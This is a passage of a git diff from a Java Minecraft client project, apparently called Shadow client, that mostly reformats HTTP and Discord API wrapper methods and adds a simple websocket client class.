requests.put("https://discord.com/api/v9/guilds/" + guildId + "/bans/" + userId + "", "{\"delete_message_days\":0}", "Authorization:" + token); return req.statusCode(); } catch (IOException | InterruptedException e) { // TODO Auto-generated catch block @@ -150,10 +149,10 @@ public class DiscordClient { return -1; } - public long createRole(long guildId, String name){ + public long createRole(long guildId, String name) { HttpResponse req; try { - req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{\"name\":\""+name+"\"}", "Authorization:" + token); + req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/roles", "{\"name\":\"" + name + "\"}", "Authorization:" + token); return req.statusCode(); } catch (IOException | InterruptedException e) { // TODO Auto-generated catch block @@ -162,10 +161,10 @@ public class DiscordClient { return -1; } - public long deleteRole(long guildId, long roleId){ + public long deleteRole(long guildId, long roleId) { try { HttpResponse req; - req = requests.delete("https://discord.com/api/v9/guilds/"+roleId+"/roles", "Authorization:" + token); + req = requests.delete("https://discord.com/api/v9/guilds/" + roleId + "/roles", "Authorization:" + token); return req.statusCode(); } catch (IOException | InterruptedException e) { // TODO Auto-generated catch block diff --git a/src/main/java/net/shadow/client/helper/http/HttpWrapper.java b/src/main/java/net/shadow/client/helper/http/HttpWrapper.java index 20c3845..39d8fc7 100644 --- a/src/main/java/net/shadow/client/helper/http/HttpWrapper.java +++ b/src/main/java/net/shadow/client/helper/http/HttpWrapper.java @@ -2,8 +2,9 @@ package net.shadow.client.helper.http; import java.io.IOException; import java.net.URI; -import java.net.http.*; -import java.net.http.HttpClient.*; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; import java.time.Duration; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ThreadPoolExecutor; @@ -11,7 +12,7 @@ import java.util.concurrent.TimeUnit; public class HttpWrapper { - + final HttpClient client = HttpClient.newBuilder() .version(HttpClient.Version.HTTP_1_1) .followRedirects(HttpClient.Redirect.ALWAYS) @@ -20,14 +21,14 @@ public class HttpWrapper { final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue()); - public HttpWrapper(){ + public HttpWrapper() { } - public HttpResponse get(String uri, String... headers) throws IOException, InterruptedException{ + public HttpResponse get(String uri, String... headers) throws IOException, InterruptedException { HttpRequest.Builder builder = HttpRequest.newBuilder().GET().setHeader("User-Agent", "MoleHttp/1.0"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -37,11 +38,11 @@ public class HttpWrapper { return response; } - public void getAsync(String uri, String... headers){ + public void getAsync(String uri, String... headers) { pool.execute(() -> { HttpRequest.Builder builder = HttpRequest.newBuilder().GET().setHeader("User-Agent", "MoleHttp/1.0"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -53,13 +54,13 @@ public class HttpWrapper { } catch (IOException | InterruptedException e) { e.printStackTrace(); } - }); + }); } - public HttpResponse post(String uri, String data, String... headers) throws IOException, InterruptedException{ + public HttpResponse post(String uri, String data, String... headers) throws IOException, InterruptedException { HttpRequest.Builder builder = HttpRequest.newBuilder().POST(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -69,11 +70,11 @@ public class HttpWrapper { return response; } - public void postAsync(String uri, String data, String... headers){ + public void postAsync(String uri, String data, String... headers) { pool.execute(() -> { HttpRequest.Builder builder = HttpRequest.newBuilder().POST(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -85,13 +86,13 @@ public class HttpWrapper { } catch (IOException | InterruptedException e) { e.printStackTrace(); } - }); - } + }); + } - public HttpResponse delete(String uri, String... headers) throws IOException, InterruptedException{ + public HttpResponse delete(String uri, String... headers) throws IOException, InterruptedException { HttpRequest.Builder builder = HttpRequest.newBuilder().DELETE().setHeader("User-Agent", "MoleHttp/1.0"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -101,15 +102,15 @@ public class HttpWrapper { return response; } - public void deleteAsync(String uri, String... headers){ + public void deleteAsync(String uri, String... headers) { pool.execute(() -> { HttpRequest.Builder builder = HttpRequest.newBuilder().DELETE().setHeader("User-Agent", "MoleHttp/1.0"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } - + HttpRequest request = builder.build(); try { client.send(request, HttpResponse.BodyHandlers.ofString()); @@ -119,10 +120,10 @@ public class HttpWrapper { }); } - public HttpResponse put(String uri, String data, String... headers) throws IOException, InterruptedException{ + public HttpResponse put(String uri, String data, String... headers) throws IOException, InterruptedException { HttpRequest.Builder builder = HttpRequest.newBuilder().PUT(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -132,15 +133,15 @@ public class HttpWrapper { return response; } - public void putAsync(String uri, String data, String... headers){ + public void putAsync(String uri, String data, String... headers) { pool.execute(() -> { HttpRequest.Builder builder = HttpRequest.newBuilder().PUT(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } - + HttpRequest request = builder.build(); try { client.send(request, HttpResponse.BodyHandlers.ofString()); @@ -150,10 +151,10 @@ public class HttpWrapper { }); } - public HttpResponse patch(String uri, String data, String... headers) throws IOException, InterruptedException{ + public HttpResponse patch(String uri, String data, String... headers) throws IOException, InterruptedException { HttpRequest.Builder builder = HttpRequest.newBuilder().method("PATCH", HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } @@ -163,15 +164,15 @@ public class HttpWrapper { return response; } - public void patchAsync(String uri, String data, String... headers){ + public void patchAsync(String uri, String data, String... headers) { pool.execute(() -> { HttpRequest.Builder builder = HttpRequest.newBuilder().method("PATCH", HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json"); builder.uri(URI.create(uri)); - for(String header : headers){ + for (String header : headers) { String[] parsedheader = header.split(":"); builder.setHeader(parsedheader[0], parsedheader[1]); } - + HttpRequest request = builder.build(); try { client.send(request, HttpResponse.BodyHandlers.ofString()); diff --git a/src/main/java/net/shadow/client/helper/render/Renderer.java b/src/main/java/net/shadow/client/helper/render/Renderer.java index 6069745..c3ccc7d 100644 --- a/src/main/java/net/shadow/client/helper/render/Renderer.java +++ b/src/main/java/net/shadow/client/helper/render/Renderer.java @@ -65,6 +65,7 @@ public class Renderer { if (fade == null) continue; long lifetimeLeft = fade.getLifeTimeLeft(); double progress = lifetimeLeft / (double) fade.lifeTime; + progress = MathHelper.clamp(progress, 0, 1); double ip = 1 - progress; stack.push(); Color out = Util.modify(fade.outline, -1, -1, -1, (int) (fade.outline.getAlpha() * progress)); diff --git a/src/main/java/net/shadow/client/helper/util/Utils.java b/src/main/java/net/shadow/client/helper/util/Utils.java index 09d8bd1..67d27ce 100644 --- a/src/main/java/net/shadow/client/helper/util/Utils.java +++ b/src/main/java/net/shadow/client/helper/util/Utils.java @@ -386,7 +386,8 @@ public class Utils { public static void message0(String n, Color c) { LiteralText t = new LiteralText(n); t.setStyle(t.getStyle().withColor(TextColor.fromRgb(c.getRGB()))); - if (ShadowMain.client.player != null) if(!(ShadowMain.client.currentScreen instanceof ConsoleScreen)) ShadowMain.client.player.sendMessage(t, false); + if (ShadowMain.client.player != null) if (!(ShadowMain.client.currentScreen instanceof ConsoleScreen)) + ShadowMain.client.player.sendMessage(t, false); // if (c.equals(Color.WHITE)) c = Color.BLACK; ConsoleScreen.instance().addLog(new ConsoleScreen.LogEntry(n, c)); } diff --git a/src/main/java/net/shadow/client/helper/ws/SimpleWebsocket.java b/src/main/java/net/shadow/client/helper/ws/SimpleWebsocket.java new file mode 100644 index 0000000..a4c6eb8 --- /dev/null +++ b/src/main/java/net/shadow/client/helper/ws/SimpleWebsocket.java @@ -0,0 +1,43 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.helper.ws; + +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.handshake.ServerHandshake; + +import java.net.URI; +import java.util.Map; +import java.util.function.Consumer; + +public class SimpleWebsocket extends WebSocketClient { + Runnable onClose; + Consumer onMessage; + + public SimpleWebsocket(URI serverUri, Map headers, Runnable c, Consumer msg) { + super(serverUri, headers); + this.onClose = c; + this.onMessage = msg; + } + + @Override + public void onOpen(ServerHandshake handshakedata) { + + } + + @Override + public void onMessage(String message) { + onMessage.accept(message); + } + + @Override + public void onClose(int code, String reason, boolean remote) { + onClose.run(); + } + + @Override + public void onError(Exception ex) { + ex.printStackTrace(); + } +}